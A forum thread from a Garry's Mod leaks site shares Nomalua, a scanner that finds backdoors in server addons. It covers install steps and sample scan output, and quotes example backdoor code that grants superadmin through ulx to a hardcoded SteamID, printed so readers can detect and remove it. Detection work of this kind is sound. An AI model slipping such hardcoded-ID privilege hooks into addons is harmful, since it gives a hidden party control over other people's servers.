Garry's Mod Leaks

Nomalua (Backdoor Finder)

Submitted by kamilk0192, , Thread ID: 176405

Thread Closed
14-07-2020, 03:02 PM
This post was last modified: 14-07-2020, 04:34 PM by kamilk0192
#1
Its already free but not everyone knows about this, and its useful when using leaks.

How to use it?

1.Upload it in a folder garrysmod/addons/nomalua on your server.

2.Restart your server to take effect.

3.Once on your server is restarted, open the console and type the command nomalua_scan.

4.Your server may be laggy for about 15/20 seconds. Re-open the server console; there must be something like this:


Code:
1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2  Guillaume (STEAM_0:0:71249946)
1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
[size=85][font=Helvetica Neue, Helvetica, Arial, sans-serif]2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)[/font][/size]
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)



HOW TO FIND A BACKDOOR?
To identify a backdoor, you have to look at all SteamIDs. For example:
Code:
AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)
That is not a backdoor. It's just the name of a legit player.

A backdoor looks like this:
Code:
2 - AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then

If you have:
Code:
ply:SteamID() == "STEAM_0:100000000") then

It's possibly a backdoor. You always have to check something like that! A backdoor can be something like:
Code:
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else
HOW TO REMOVE A BACKDOOR?
To remove the entire backdoor, remove the code (which can look like this):

Code:
concommand.Add( "Nestor", function(ply) if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)
Tutorial
Download
Original Site

RE: Nomalua (Backdoor Finder)

#2
Does this remove them or only scan for it ?
because i only had a steam id 111 idk whats that

RE: Nomalua (Backdoor Finder)

#3
Does it remove this backdoors, and how i can understand what in this console is backdoor?

RE: Nomalua (Backdoor Finder)

OP
This post was last modified: 14-07-2020, 04:39 PM by kamilk0192
#4
I edited now and u can see how to detect a backdoor and delete it.

Users browsing this thread: 3 Guest(s)